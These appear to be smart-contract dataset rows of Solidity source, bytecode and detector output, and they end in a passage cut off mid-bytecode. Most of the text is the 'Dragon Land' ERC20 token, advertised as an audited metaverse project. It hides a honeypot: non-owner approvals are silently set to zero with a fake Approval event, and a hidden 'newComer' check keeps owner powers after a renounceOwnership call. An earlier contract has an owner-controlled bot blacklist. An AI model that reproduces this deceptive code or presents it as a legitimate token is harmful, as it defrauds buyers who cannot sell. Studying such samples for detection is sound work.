uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d7146103ae578063a9059cbb146103eb578063b1a4e0dc14610428578063dd62ed3e14610465578063fc6fc10a146104a25761011f565b806370a08231146102db578063715018a6146103185780638f84aa091461032f57806395d89b411461035a5780639f08b319146103855761011f565b806329bd5410116100e757806329bd5410146101f4578063313ce5671461021f578063395093511461024a5780635a8305791461028757806360004d5c146102b25761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104b9565b6040516101469190611d07565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611a78565b6104f6565b6040516101839190611cec565b60405180910390f35b34801561019857600080fd5b506101a1610514565b6040516101ae9190611e49565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611a25565b610526565b6040516101eb9190611cec565b60405180910390f35b34801561020057600080fd5b506102096105ff565b6040516102169190611ca8565b60405180910390f35b34801561022b57600080fd5b50610234610625565b6040516102419190611e64565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190611a78565b61062e565b60405161027e9190611cec565b60405180910390f35b34801561029357600080fd5b5061029c6106e1565b6040516102a99190611cec565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d49190611ab8565b6106f8565b005b3480156102e757600080fd5b5061030260048036038101906102fd91906119b8565b6107ee565b60405161030f9190611e49565b60405180910390f35b34801561032457600080fd5b5061032d610837565b005b34801561033b57600080fd5b5061034461098b565b6040516103519190611ca8565b60405180910390f35b34801561036657600080fd5b5061036f6109b5565b60405161037c9190611d07565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a791906119b8565b6109f2565b005b3480156103ba57600080fd5b506103d560048036038101906103d09190611a78565b610c1e565b6040516103e29190611cec565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190611a78565b610ceb565b60405161041f9190611cec565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a91906119b8565b610d09565b60405161045c9190611cec565b60405180910390f35b34801561047157600080fd5b5061048c600480360381019061048791906119e5565b610d5f565b6040516104999190611e49565b60405180910390f35b3480156104ae57600080fd5b506104b7610de6565b005b60606040518060400160405280600a81526020017f48696b61727520496e7500000000000000000000000000000000000000000000815250905090565b600061050a610503610f1f565b8484610f27565b6001905092915050565b60006954b40b1f852bda000000905090565b60006105338484846110f2565b6105f48461053f610f1f565b6105ef856040518060600160405280602881526020016122b060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a5610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006106d761063b610f1f565b846106d2856005600061064c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b610f27565b6001905092915050565b6000600b60009054906101000a900460ff16905090565b610700610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078490611da9565b60405180910390fd5b6107a081836118b890919063ffffffff16565b600260006107ac611902565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083f610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c390611da9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f48494b4152550000000000000000000000000000000000000000000000000000815250905090565b6109fa610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90611da9565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b3d576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610c1b565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610c12929190611cc3565b60405180910390a15b50565b6000610ce1610c2b610f1f565b84610cdc856040518060600160405280602581526020016122d86025913960056000610c55610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b6001905092915050565b6000610cff610cf8610f1f565b84846110f2565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dee610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290611da9565b60405180910390fd5b60001515600b60009054906101000a900460ff1615151415610eb7576001600b60006101000a81548160ff021916908315150217905550610ed3565b6000600b60006101000a81548160ff0219169083151502179055505b565b6000610f1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611e29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90611d69565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110e59190611e49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611de9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990611d29565b60405180910390fd5b60008111611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90611dc9565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b65750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112ff57600081146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d49565b60405180910390fd5b5b60001515600b60009054906101000a900460ff16151514806113535750611324611902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806113905750611361611902565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561179a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114385750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115eb576114a98160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115de9190611e49565b60405180910390a3611795565b6116578160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178c9190611e49565b60405180910390a35b6117f1565b60001515600b60009054906101000a900460ff161515146117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e790611e09565b60405180910390fd5b5b505050565b600083831115829061183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359190611d07565b60405180910390fd5b506000838561184d9190611f22565b9050809150509392505050565b60008082846118699190611e9b565b9050838110156118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590611d89565b60405180910390fd5b8091505092915050565b60006118fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008083118290611972576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119699190611d07565b60405180910390fd5b50600083856119819190611ef1565b9050809150509392505050565b60008135905061199d8161225b565b92915050565b6000813590506119b281612272565b92915050565b6000602082840312156119ce576119cd61203c565b5b60006119dc8482850161198e565b91505092915050565b600080604083850312156119fc576119fb61203c565b5b6000611a0a8582860161198e565b9250506020611a1b8582860161198e565b9150509250929050565b600080600060608486031215611a3e57611a3d61203c565b5b6000611a4c8682870161198e565b9350506020611a5d8682870161198e565b9250506040611a6e868287016119a3565b9150509250925092565b60008060408385031215611a8f57611a8e61203c565b5b6000611a9d8582860161198e565b9250506020611aae858286016119a3565b9150509250929050565b60008060408385031215611acf57611ace61203c565b5b6000611add858286016119a3565b9250506020611aee858286016119a3565b9150509250929050565b611b0181611f56565b82525050565b611b1081611f68565b82525050565b6000611b2182611e7f565b611b2b8185611e8a565b9350611b3b818560208601611fab565b611b4481612041565b840191505092915050565b6000611b5c602383611e8a565b9150611b6782612052565b604082019050919050565b6000611b7f600783611e8a565b9150611b8a826120a1565b602082019050919050565b6000611ba2602283611e8a565b9150611bad826120ca565b604082019050919050565b6000611bc5601b83611e8a565b9150611bd082612119565b602082019050919050565b6000611be8602083611e8a565b9150611bf382612142565b602082019050919050565b6000611c0b602983611e8a565b9150611c168261216b565b604082019050919050565b6000611c2e602583611e8a565b9150611c39826121ba565b604082019050919050565b6000611c51600083611e8a565b9150611c5c82612209565b600082019050919050565b6000611c74602483611e8a565b9150611c7f8261220c565b604082019050919050565b611c9381611f94565b82525050565b611ca281611f9e565b82525050565b6000602082019050611cbd6000830184611af8565b92915050565b6000604082019050611cd86000830185611af8565b611ce56020830184611b07565b9392505050565b6000602082019050611d016000830184611b07565b92915050565b60006020820190508181036000830152611d218184611b16565b905092915050565b60006020820190508181036000830152611d4281611b4f565b9050919050565b60006020820190508181036000830152611d6281611b72565b9050919050565b60006020820190508181036000830152611d8281611b95565b9050919050565b60006020820190508181036000830152611da281611bb8565b9050919050565b60006020820190508181036000830152611dc281611bdb565b9050919050565b60006020820190508181036000830152611de281611bfe565b9050919050565b60006020820190508181036000830152611e0281611c21565b9050919050565b60006020820190508181036000830152611e2281611c44565b9050919050565b60006020820190508181036000830152611e4281611c67565b9050919050565b6000602082019050611e5e6000830184611c8a565b92915050565b6000602082019050611e796000830184611c99565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ea682611f94565b9150611eb183611f94565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee657611ee5611fde565b5b828201905092915050565b6000611efc82611f94565b9150611f0783611f94565b925082611f1757611f1661200d565b5b828204905092915050565b6000611f2d82611f94565b9150611f3883611f94565b925082821015611f4b57611f4a611fde565b5b828203905092915050565b6000611f6182611f74565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611fc9578082015181840152602081019050611fae565b83811115611fd8576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61226481611f56565b811461226f57600080fd5b50565b61227b81611f94565b811461228657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122035c0f5f1123c06e9a23626b716ee4aacd7e0f4988afc246bd2d1851cf7bfa87864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,635 |
0x371850630c71273d19e7208a5646a4b89e4f7a4a | /**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
/**
⚔️Dragon Land Metaverse⚔️
🏹Dragon Land is the first Fantasy Metaverse coming to ERC20. Join us in building a fantasy world where people can buy land, characters, armor and other treasures and fight other players and NPCs in a P2E game.
⚔️Check out our website for more information and our V1 whitepaper.
🏹Audit by Dessert Finance!
Web: www.dragonlanderc.com
Email: [email protected]
Twitter: https://twitter.com/dragonlanderc
Whitepaper: www.dragonlanderc.com/whitepaper
Dessert Swap: https://dessertswap.finance/audits/DragonLand-ETH-Audit-13754450.pdf
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Dragonland is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Dragon Land' ;
string private _symbol = 'DRAGONLAND ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611107602391396040019150506040518091